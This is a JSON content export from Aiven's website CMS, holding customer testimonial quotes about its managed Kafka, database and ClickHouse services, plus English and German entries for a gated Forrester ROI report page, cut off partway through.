{"__i18n_lang":"en","_createdAt":"2024-06-27T13:55:04Z","_id":"cf430ec4-993f-4296-854f-14b929516170","_rev":"FWfcFyz4v76XPZNTIIWx1R","_type":"quote","_updatedAt":"2024-06-27T13:56:24Z","caseStudy":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"a49411438f1b","_type":"block","children":[{"_key":"04a772bd8de70","_type":"span","marks":[],"text":"The team used to have a traditional DBA mentality and was spending up to 90% of the day doing maintenance, patching and upgrades. That’s all handled by Aiven now, freeing up the team to focus on business projects and delivering solutions much faster. We can deploy databases in minutes rather than weeks."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-b22baabefef6ff83ad34693ccd6018798ee5687e-1200x628-png","_type":"reference"}},"jobTitle":"Head of Cloud Transformation, La Redoute","name":"Diogo Gomes","ytId":"mPWxizlA3so"} {"__i18n_lang":"en","_createdAt":"2023-02-16T10:05:01Z","_id":"d6622f93-9981-425d-bb18-fd4d1206774a","_rev":"sg5cBJWkRHo7pkcz4EHdIp","_type":"quote","_updatedAt":"2023-12-13T08:33:21Z","company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"873cabe5ccfa","_type":"block","children":[{"_key":"2be3f77577bb","_type":"span","marks":[],"text":"\"With a healthy infrastructure and stable pipeline, and the fully managed platform that Aiven provides ... it’s just working without surprises\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542-png","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"} {"__i18n_lang":"en","_createdAt":"2023-06-26T08:02:42Z","_id":"e06decf6-a7ea-407b-9903-0c326b9decbf","_rev":"jBJgpqpGruZvOgVMUJ1S92","_type":"quote","_updatedAt":"2023-09-12T11:36:32Z","company":{"_ref":"fbbe4379-81b9-41fd-808d-b84223814c9d","_type":"reference"},"content":[{"_key":"774df455dece","_type":"block","children":[{"_key":"f3844c004c16","_type":"span","marks":[],"text":"“I’m pleased with the team’s decision to use Aiven for Apache Kafka. Our developers can focus on innovation and delivering an awesome experience to our customers,”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Head of SRE \u0026 Cloud ","name":"Janek Wonner"} {"__i18n_lang":"en","_createdAt":"2024-04-12T09:43:00Z","_id":"e70390e5-af60-477c-b802-09aaa7d60b0f","_rev":"BASZXbsyv9GrdhhwbFUZ3S","_type":"quote","_updatedAt":"2024-04-12T09:43:00Z","caseStudy":{"_ref":"33338761-3a20-46e6-a4aa-37f71f01b626","_type":"reference"},"company":{"_ref":"60a4a615-afc0-423a-90fa-6278ab73aaad","_type":"reference"},"content":[{"_key":"1184b8d70b12","_type":"block","children":[{"_key":"4ddf973884990","_type":"span","marks":[],"text":"We chose Aiven because the company met all our criteria. We get access to all the open source tools and technologies we need, plus a great UI and understandable pricing. We can run our workloads on Google as well as AWS — meeting our need for a cloud-agnostic solution."}],"markDefs":[],"style":"normal"}],"jobTitle":"Head of Internal Development Platform, TV2","name":"Thomas Aalèn","ytId":"R1Pqft5LfDw"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"4vziwB26dcARwb0Vql0rtY","_rev":"PjhTiFLESFHgz5EjC9B3pg","_type":"quote","_updatedAt":"2024-03-19T14:55:59Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"74e7b4d2-cbca-4d1f-ba89-f87d581381d8","_type":"block","children":[{"_key":"251b02d1-4437-49b9-8050-bab66d468344","_type":"span","text":"\"Thanks to Aiven, the time our teams used to spend on running Apache Kafka can instead be poured into our core business.\""}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-3630ef334e05fedc0f511631dc37f19ed933f9b4-2500x2542-png","_type":"reference"}},"jobTitle":"VP of Engineering at Mirakl","name":"Nagi Letaifa"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"53li6msd6VWJeX3g6OX249","_rev":"PjhTiFLESFHgz5EjC9D5Qc","_type":"quote","_updatedAt":"2024-03-19T15:04:02Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"4c13ef0c-876f-4317-bfbb-e23a86d68fcb","_type":"block","children":[{"_key":"8aea5f4c-67c4-4e7a-b0fe-6b3d0fd855e3","_type":"span","marks":[],"text":"\"Aiven enabled Mirakl’s transformation to a cloud-native, scalable, microservice architecture.\""}],"markDefs":[],"style":"normal"}],"image":{"alt":""},"jobTitle":"VP of Engineering","name":"Nagi Letaifa"} {"__i18n_lang":"en","_createdAt":"2023-10-18T15:27:57Z","_id":"3c97f2cf-4e4a-4ec4-9d91-103aeeb23f73","_rev":"SjomukZ722pBg0JKa6Q0A5","_type":"quote","_updatedAt":"2024-04-16T13:28:32Z","caseStudy":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"5b8e9c65915a","_type":"block","children":[{"_key":"359f9ce586ff0","_type":"span","marks":[],"text":"E-commerce database handles 11.2 million requests an hour while delivering 99.99% uptime and latency below 1 millisecond thanks to Aiven."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"jobTitle":"Head of SRE and Cloud Technology, Conrad Electronic","name":"Janek Wonner"} {"__i18n_lang":"en","_createdAt":"2024-04-16T13:48:12Z","_id":"7c38c6b2-006e-497b-898b-c762beacacaa","_rev":"MEdkKSujm325ToO8bzGNDL","_type":"quote","_updatedAt":"2024-04-16T13:50:28Z","caseStudy":{"_ref":"a79841f2-b791-4192-86c0-a6532b59cb2f","_type":"reference"},"company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"1580e65fe48d","_type":"block","children":[{"_key":"b865cf2b2f660","_type":"span","marks":[],"text":"Aiven's managed Kafka solution reduced our operating expenses by 70%, enabled an agile development process, accelerated our time-to-market, and allowed us to retain full control of our data."}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}},"jobTitle":"VP of Engineering","name":"Nagi Letaifa"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"oUCctgMofn9Y1S9WdZKlM","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"a3a930e2-eec3-4045-8a24-cbd06690d65c","_type":"block","children":[{"_key":"c5b2e1b5-5b81-44ee-862c-e91076299d69","_type":"span","text":"I would definitely recommend Aiven. Without them, we’d have to manage hundreds of database servers at high availability ourselves."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-804bed143777daf56188da7f10320a7344a2162a-596x454-png","_type":"reference"}},"jobTitle":"Head of Product","name":"Laurens Van Wiele"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"pCgpMXEloAy4GatDUpBHb","_rev":"oamrAPLmQLQjd9jh7hE3xy","_type":"quote","_updatedAt":"2022-07-06T12:42:16Z","content":[{"_key":"5f1b1fa5-bc2c-4dda-af46-4b33b2aba06c","_type":"block","children":[{"_key":"23bd4eae-b1f3-4c18-9e65-b9dfa3b51b56","_type":"span","text":"“...and while [our old] systems work, they’re not so open or easily interfaceable for other parts of the company.”"}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-edb48adbb98e1f4a07629ee9d41874c6f52d197b-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Data and CRM at Paf","name":"Robarto Zagni"} {"__i18n_lang":"en","_createdAt":"2022-06-17T08:37:13Z","_id":"tVMArSxU5O2aohttt7Was","_rev":"2QvLnXP36WAnQ13A3pUq86","_type":"quote","_updatedAt":"2024-03-13T21:03:06Z","caseStudy":{"_ref":"1bbd57e8-62ea-4ddc-a68e-96cd7daf90af","_type":"reference"},"company":{"_ref":"57a6DAKdLzRruiVEdAfNFW","_type":"reference"},"content":[{"_key":"51e9ed76-ec7c-4846-a53b-ee2b2489f589","_type":"block","children":[{"_key":"8766c56d-c1b4-441b-bc91-5be26edef0be","_type":"span","text":"It’s vital that the reactive architecture we’re building is flexible, extensible and able to scale rapidly."}],"markDefs":[]}],"image":{"alt":"","asset":{"_ref":"image-45f04907ce0719f1793991ea36cb457f6f65d2cc-2500x3125-png","_type":"reference"}},"jobTitle":"Head of Technology at OVO","name":"Jon Dodkins"} {"__i18n_lang":"en","_createdAt":"2024-06-20T09:36:52Z","_id":"70f451ff-8468-443e-a3ab-ec8e8e432f8a","_rev":"UEcq9VZT1LAO45csdLSrSa","_type":"quote","_updatedAt":"2024-06-20T09:37:04Z","caseStudy":{"_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"reference"},"company":{"_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},"content":[{"_key":"bd70f7908968","_type":"block","children":[{"_key":"29025b32c7570","_type":"span","marks":[],"text":"Aiven for Apache Kafka handles internal messages across various microservices in the Avaya Experience Platform solution, ensuring the large volume of data is transferred in near-real time, with very low latency."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-08d1e5d6d3c034249ac495dc46bc82a841f2ec7e-1837x954-png","_type":"reference"}},"jobTitle":"Senior Vice President, IT Enterprise and Cloud Operations, Avaya","name":"Rich Driscoll"} {"__i18n_lang":"en","_createdAt":"2023-02-16T10:02:16Z","_id":"8662ec2b-c191-4332-897f-afb653ad04b6","_rev":"6bYZdDBH1WRdHtSvjJ0r6g","_type":"quote","_updatedAt":"2024-06-20T09:41:44Z","caseStudy":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"bc84518a931b","_type":"block","children":[{"_key":"9bb0d52776da0","_type":"span","marks":[],"text":"With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer."}],"markDefs":[],"style":"normal"}],"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"} {"__i18n_lang":"en","_createdAt":"2024-06-20T09:39:05Z","_id":"1e4be7a3-736a-4ff6-9437-b1691a8ccab7","_rev":"6bYZdDBH1WRdHtSvjJ0Qrk","_type":"quote","_updatedAt":"2024-06-20T09:39:26Z","caseStudy":{"_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"reference"},"company":{"_ref":"540d62ad-dad5-4a28-9c54-94f436709b92","_type":"reference"},"content":[{"_key":"4c8b18fc2080","_type":"block","children":[{"_key":"e72dedd0565e0","_type":"span","marks":[],"text":"Thanks to Aiven, we’ve been able to move away from having teams trying to stay current on managing Apache Kafka, which just doesn’t scale from a people or compute standpoint."}],"markDefs":[],"style":"normal"}],"jobTitle":"Senior Vice President, IT Enterprise and Cloud Operations, Avaya","name":"Rich Driscoll"} {"__i18n_lang":"en","_createdAt":"2024-05-07T15:01:58Z","_id":"f643aefd-aaeb-4601-b132-83c923da7bf2","_rev":"MDtZ947TmAvJhndHAOnxBh","_type":"quote","_updatedAt":"2024-07-16T07:18:05Z","caseStudy":{"_ref":"929b9c92-65aa-4c2f-9cf0-7f54b2cb8ede","_type":"reference"},"company":{"_ref":"84b10f5e-408f-4d38-a01a-fed765bcefc3","_type":"reference"},"content":[{"_key":"f78987489e42","_type":"block","children":[{"_key":"ae18a83cb067","_type":"span","marks":[],"text":"\"It’s highly data intensive. And if our capability to process that data goes down, the whole business comes to a halt. We simply cannot afford any downtime. At Helthjem we have a variety of use cases, reflected in a heterogeneous set of queries running in the database. When we face slow performance, we leverage the Aiven AI Database Optimizer to verify which indexes to apply and how to rewrite our SQL. Some of the problematic queries that originally took more than an hour are now executed in a few minutes, providing a 10x performance boost.\""}],"markDefs":[],"style":"normal"}],"jobTitle":"Senior Software Engineer","name":"Dave Li"} {"__i18n_lang":"en","_createdAt":"2024-07-16T07:13:53Z","_id":"cb7c3db1-f9d9-4f32-b643-29a80afd7ca0","_rev":"MDtZ947TmAvJhndHAOopre","_type":"quote","_updatedAt":"2024-07-16T07:33:23Z","caseStudy":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"5da4baa78354","_type":"block","children":[{"_key":"e5d90a9760cb","_type":"span","marks":[],"text":"\"With Aiven, we now have the flexibility to enormously scale to accept new data and new users and ingest everything into the analytics layer. We can get insights into the data in less than two minutes, which has helped us enable a more efficient reporting timeline. With a healthy infrastructure and stable pipeline, and the fully managed platform that Aiven provides, there are fewer production support issues that my team has to look into. It’s just working without surprises.\"\n"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-8426020b815d762c249b9aa4945a7ce7d7ceeb3e-1920x1038-jpg","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing, Priceline","name":"Sachin Menon"} {"__i18n_base":{"_ref":"3yPgOzGSohafaU7PJiO4Xa","_type":"reference"},"__i18n_lang":"de","_createdAt":"2022-06-17T08:37:13Z","_id":"3yPgOzGSohafaU7PJiO4Xa__i18n_de","_rev":"8LlKqJjbNRckfBQsLRhERf","_type":"quote","_updatedAt":"2024-08-20T08:06:26Z","caseStudy":{"_ref":"e385d065-242f-4480-9df7-383c7a9cae13","_type":"reference"},"company":{"_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"},"content":[{"_key":"3ad1c128b375","_type":"block","children":[{"_key":"b0f5797a6b620","_type":"span","marks":[],"text":"Wir brauchten eine Lösung, die uns nicht einschränkt, und die Cloud-Agnostik von Aiven hat uns genau das ermöglicht. Wenn ein Cloud-Anbieter in einem bestimmten Gebiet nicht verfügbar war, konnten wir einfach mit einem Klick wechseln – ein großer Vorteil für unser Geschäft."}],"markDefs":[],"style":"normal"}],"image":{"alt":"","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}},"jobTitle":"Head of Databases","name":"Julien Charlot"} {"__i18n_lang":"en","_createdAt":"2024-09-04T20:40:07Z","_id":"aa3d454c-1086-47a1-a7f6-d364ed453102","_rev":"t8DYBEKn49O4mjbyRAlM8i","_type":"quote","_updatedAt":"2024-09-04T20:40:07Z","company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"be131aea0679","_type":"block","children":[{"_key":"cf6086379bb9","_type":"span","marks":["strong"],"text":"TBD"}],"markDefs":[],"style":"normal"},{"_key":"dd8177ed2b23","_type":"block","children":[{"_key":"60f121c097d6","_type":"span","marks":[],"text":"\"TBD3\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64-svg","_type":"reference"}},"jobTitle":"CTO \u0026 Co-founder","name":"Name Name"} {"__i18n_lang":"en","_createdAt":"2024-09-04T20:41:26Z","_id":"a553f3d4-b7e2-4a51-891b-3d4654f8202c","_rev":"4gmBGwifQuSypgRenUdc1U","_type":"quote","_updatedAt":"2024-09-04T20:41:26Z","company":{"_ref":"2v4v8c27Q0p3afrTlkvr9i","_type":"reference"},"content":[{"_key":"ff5b77b65182","_type":"block","children":[{"_key":"34b10a2252c0","_type":"span","marks":["strong"],"text":"TBD"}],"markDefs":[],"style":"normal"},{"_key":"fc448cdeaed2","_type":"block","children":[{"_key":"bd383d535d15","_type":"span","marks":[],"text":"\"TBD4\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-b2cdaf7f3aac9fe02b519d1d0e267901f7d66370-200x64-svg","_type":"reference"}},"jobTitle":"CTO \u0026 Co-founder","name":"Name Name"} {"__i18n_lang":"en","_createdAt":"2023-08-10T15:09:20Z","_id":"fdd9525f-8e77-42b1-a3b3-b53afcef15f5","_rev":"ezMiwuUkJkbYMWycAFSdte","_type":"quote","_updatedAt":"2024-09-09T10:53:01Z","caseStudy":{"_ref":"52573ae1-b86a-4fca-9ad8-9893a5596585","_type":"reference"},"company":{"_ref":"3aeed013-8049-4126-87df-a37af41ae111","_type":"reference"},"content":[{"_key":"62dee8d0738a","_type":"block","children":[{"_key":"bff57ddf72420","_type":"span","marks":[],"text":"\"The performance of Aiven for Clickhouse is seriously impressive. Previously, the histograms for the larger workspaces would take around 30 seconds to load. Now it takes less than a second\"."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-a76b0ba74e9b2564ca6f9fbf9e65557af5bd9e38-6000x4000-webp","_type":"reference"}},"jobTitle":"Founding Engineer and CTO","name":"Maurice Kherlakian"} {"__i18n_lang":"en","_createdAt":"2024-06-27T13:45:50Z","_id":"ad792742-b3d7-4d7e-aea1-b7d85d4c7aba","_rev":"eaCZ7mIhmiYZX5KGqSKBka","_type":"quote","_updatedAt":"2024-09-09T11:40:32Z","caseStudy":{"_ref":"33338761-3a20-46e6-a4aa-37f71f01b626","_type":"reference"},"company":{"_ref":"60a4a615-afc0-423a-90fa-6278ab73aaad","_type":"reference"},"content":[{"_key":"a28c7a37097a","_type":"block","children":[{"_key":"57143729570b0","_type":"span","marks":[],"text":"Apache Kafka® has been a critical component of our data infrastructure for several years but we were losing control of our Kafka clusters. If Kafka doesn't work, our streaming services don’t work. With Aiven’s extensive expertise in managing and maintaining Kafka, we knew we could rely on them."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-6db50db8c182b46cd35eaed36868385373482588-1950x1097-webp","_type":"reference"}},"jobTitle":"Head of Internal Development Platform, TV2","name":"Thomas Aalèn"} {"__i18n_lang":"en","_createdAt":"2023-02-16T10:08:24Z","_id":"8c30efff-1771-4f8c-a629-2bfe8e5d0216","_rev":"sg5cBJWkRHo7pkcz4EHg5Z","_type":"quote","_updatedAt":"2023-12-13T08:35:52Z","caseStudy":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"},"company":{"_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},"content":[{"_key":"bc84518a931b","_type":"block","children":[{"_key":"9bb0d52776da0","_type":"span","marks":[],"text":"\"Aiven’s solutions architecture group fully focused on finding the best solution for us.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542-png","_type":"reference"}},"jobTitle":"VP of Data \u0026 Marketing","name":"Sachin Menon"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_de","_type":"reference"},{"_key":"fr","_ref":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_fr","_type":"reference"}],"_createdAt":"2023-11-14T12:14:00Z","_id":"a988347e-78a9-4d62-93df-2e7d9d398191","_rev":"15B0z4WvHVfbLgXS8BUahp","_type":"report","_updatedAt":"2024-06-04T08:14:20Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"301ac276637e","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":true,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"4cbb41058c9d","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_fr","_type":"reference"}},"tagline":"French","title":"Total Economic Impact™ de la plateforme Aiven","variant":"default"},{"_key":"67f81c2f15c13d50d83fed6078bbf131","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_de","_type":"reference"}},"tagline":"German","title":"Total Economic Impact™ der Aiven Plattform","variant":"default"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Also available in other languages","topOverlap":false}],"contentIsGated":true,"downloadLink":"https://go.aiven.io/aiven-data-infra-research-2023","downloadText":"Download the full report","hasVideo":false,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2023-11-15/tb7y4","title":"Get your free copy of the study"},"registrationType":"iframe","subtitle":[{"_key":"644a67b8d3e5","_type":"block","children":[{"_key":"3aa4e1e7e4ea0","_type":"span","marks":["strong"],"text":"Discover the projected cost savings and business benefits."}],"markDefs":[],"style":"normal"},{"_key":"534860eee443","_type":"block","children":[{"_key":"e939fdcf23550","_type":"span","marks":[],"text":"Would you like a configure-and-forget solution for the setup and management of your multiple open source cloud data technologies? "}],"markDefs":[],"style":"normal"},{"_key":"8d630703820e","_type":"block","children":[{"_key":"63c7aad7b7d5","_type":"span","marks":[],"text":"A composite organization comprised of interviewees with experience using the Aiven platform have realized a "},{"_key":"cafc4e190f6a","_type":"span","marks":["strong"],"text":"204% ROI"},{"_key":"5ff2c7a27f6a","_type":"span","marks":[],"text":" "},{"_key":"a08bd8166c28","_type":"span","marks":["strong"],"text":"over three years"},{"_key":"2444377ad432","_type":"span","marks":[],"text":" with less than a 6-month payback and achieved "},{"_key":"c90199b150ff","_type":"span","marks":["strong"],"text":"$8.05M in total savings benefits"},{"_key":"ecf3a0ed1eb0","_type":"span","marks":[],"text":". "}],"markDefs":[],"style":"normal"},{"_key":"50af67d1c824","_type":"block","children":[{"_key":"9b4931470bab","_type":"span","marks":[],"text":"Learn how Aiven's platform delivered immediate financial benefits and resource efficiency for the composite organization including:"}],"markDefs":[],"style":"normal"},{"_key":"bc8a37c1b28a","_type":"block","children":[{"_key":"29e779bfc53d0","_type":"span","marks":["strong"],"text":"20% average savings"},{"_key":"e5af8b0d99fd","_type":"span","marks":[],"text":" on cloud infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46834addf0c9","_type":"block","children":[{"_key":"243445d1a5fb","_type":"span","marks":["strong"],"text":"15% savings"},{"_key":"54fd122f4710","_type":"span","marks":[],"text":" from better compute management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9305c315733a","_type":"block","children":[{"_key":"d2b8c021046d","_type":"span","marks":["strong"],"text":"$5.4M Net Present Value "},{"_key":"0e28e1b73900","_type":"span","marks":[],"text":"over 3 years"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Discover streamlined operations and substantial savings with Aiven. Forrester TEI report reveals the transformative impact for tech providers.","thankyouContent":[{"_key":"c7ad9e158779","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b-2500x1313-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/forrester-tei-report","title":"Download report"},"roundedCorners":"rounded-none","text":[{"_key":"d2b0c446f4ee","_type":"block","children":[{"_key":"651823291d3a","_type":"span","marks":[],"text":"Enjoy the read of the "},{"_key":"07751255f976","_type":"span","marks":["strong"],"text":"Total Economic Impact of the Aiven Platform report"},{"_key":"e49197cadfc7","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest","variant":"mediaRight"}],"title":"The Total Economic Impact™ Of The Aiven Platform","ytId":"biMcItwZghE"},"publishedAt":"2023-11-21T10:37:50.892Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d97d2f74-64a4-4256-9e78-86aaa00bf323","_type":"reference"},"tags":[{"_key":"6d74e1b089bc","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"3fc3e2ab5353","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"},{"_key":"85425c46443c","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Discover streamlined operations and significant savings with Aiven. Forrester TEI study reveals the transformative impact for tech providers.","metaImage":{"_type":"mainImage","alt":"Forrester TEI Report","asset":{"_ref":"image-6073f1b1cd017241f1e3afa2c4a4b7d02b2ab16b-2500x1313-jpg","_type":"reference"}},"metaTitle":"Aiven Platform: Unleashed 204% ROI - Forrester TEI Study"},"slug":{"_type":"slug","current":"/report/the-total-economic-impact-of-the-aiven-platform"}} {"__i18n_base":{"_ref":"a988347e-78a9-4d62-93df-2e7d9d398191","_type":"reference"},"__i18n_lang":"de","_createdAt":"2023-11-14T12:14:00Z","_id":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_de","_rev":"7ECGUAuPhsugSh811UYM2o","_type":"report","_updatedAt":"2024-02-29T15:35:20Z","asset":{"_type":"gatedAndUngated","contentIsGated":true,"downloadLink":"https://go.aiven.io/aiven-data-infra-research-2023","downloadText":"Download the full report","hasVideo":false,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-02-23/tmjcx","title":"Studie herunterladen"},"registrationType":"iframe","subtitle":[{"_key":"8329ab866c87","_type":"block","children":[{"_key":"396b5b03aef60","_type":"span","marks":["strong"],"text":"Zu erwartende Kosteneinsparungen und geschäftlicher Nutzen"}],"markDefs":[],"style":"normal"},{"_key":"8dee07c0dac2","_type":"block","children":[{"_key":"b4587cd1dfcd0","_type":"span","marks":[],"text":"Wünschen Sie sich für die Einrichtung und Verwaltung Ihrer verschiedenen Open-Source-Technologien für Cloud-Daten eine Lösung, die nach der Konfiguration eine Art Selbstläufer ist?"}],"markDefs":[],"style":"normal"},{"_key":"8d630703820e","_type":"block","children":[{"_key":"63c7aad7b7d5","_type":"span","marks":[],"text":"Eine Mischorganisation, die sich aus Befragten mit Erfahrung im Umgang mit der Aiven-Plattform zusammensetzt, hat über einen Zeitraum "},{"_key":"5379d0a961a5","_type":"span","marks":["strong"],"text":"von drei Jahren einen ROI von 204% "},{"_key":"7db92ade2b6f","_type":"span","marks":[],"text":"mit einer Amortisationszeit von weniger als 6 Monaten erzielt und insgesamt "},{"_key":"784134e51c0d","_type":"span","marks":["strong"],"text":"8,05 Mio.$ an Einsparungen erzielt."}],"markDefs":[],"style":"normal"},{"_key":"07192b17d857","_type":"block","children":[{"_key":"25bfefecf4d20","_type":"span","marks":[],"text":"Erfahren Sie, wie die Plattform von Aiven der Unternehmen aus unterschiedlichen Industrien unmittelbare finanzielle Vorteile und Ressourceneffizienz einbrachte:"}],"markDefs":[],"style":"normal"},{"_key":"bc8a37c1b28a","_type":"block","children":[{"_key":"c59c8539cd29","_type":"span","marks":[],"text":"Durchschnittliche "},{"_key":"cbc5af10ce22","_type":"span","marks":["strong"],"text":"Einsparungen"},{"_key":"3c9f788cc3af","_type":"span","marks":[],"text":" "},{"_key":"8da71896c4a0","_type":"span","marks":["strong"],"text":"von 20%"},{"_key":"d47c27a0821d","_type":"span","marks":[],"text":" bei der Cloud-Infrastruktur"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"46834addf0c9","_type":"block","children":[{"_key":"940bcf7d8730","_type":"span","marks":["strong"],"text":"15% Einsparungen "},{"_key":"318bfdd61f22","_type":"span","marks":[],"text":"durch besseres Computing-Management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9305c315733a","_type":"block","children":[{"_key":"95b320013d9e","_type":"span","marks":["strong"],"text":"Kapitalwert von $5,4 Mio"},{"_key":"a52d01ccc823","_type":"span","marks":[],"text":". über 3 Jahre"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Entdecken Sie optimierte Arbeitsabläufe und erhebliche Einsparungen mit Aiven. Der Forrester TEI-Bericht zeigt die transformativen Auswirkungen für Technologieanbieter.","thankyouContent":[{"_key":"c7ad9e158779","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-2c346f1e1f5705c347ae73a85dec36da72aec3d8-1200x630-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/forrester-tei-report-de","title":"Bericht downloaden"},"roundedCorners":"rounded-none","text":[{"_key":"d2b0c446f4ee","_type":"block","children":[{"_key":"05ad97d15ca4","_type":"span","marks":[],"text":"Viel Spaß bei der Lektüre des Berichts "},{"_key":"42b8df4db269","_type":"span","marks":["strong"],"text":"Total Economic Impact™ – der wirtschaftliche Nutzen der Aiven-Plattform"}],"markDefs":[],"style":"normal"},{"_key":"e372071d5003","_type":"block","children":[{"_key":"95e80f99799a0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Vielen Dank für Ihr Interesse","variant":"mediaRight"}],"title":"Total Economic Impact™ der Aiven 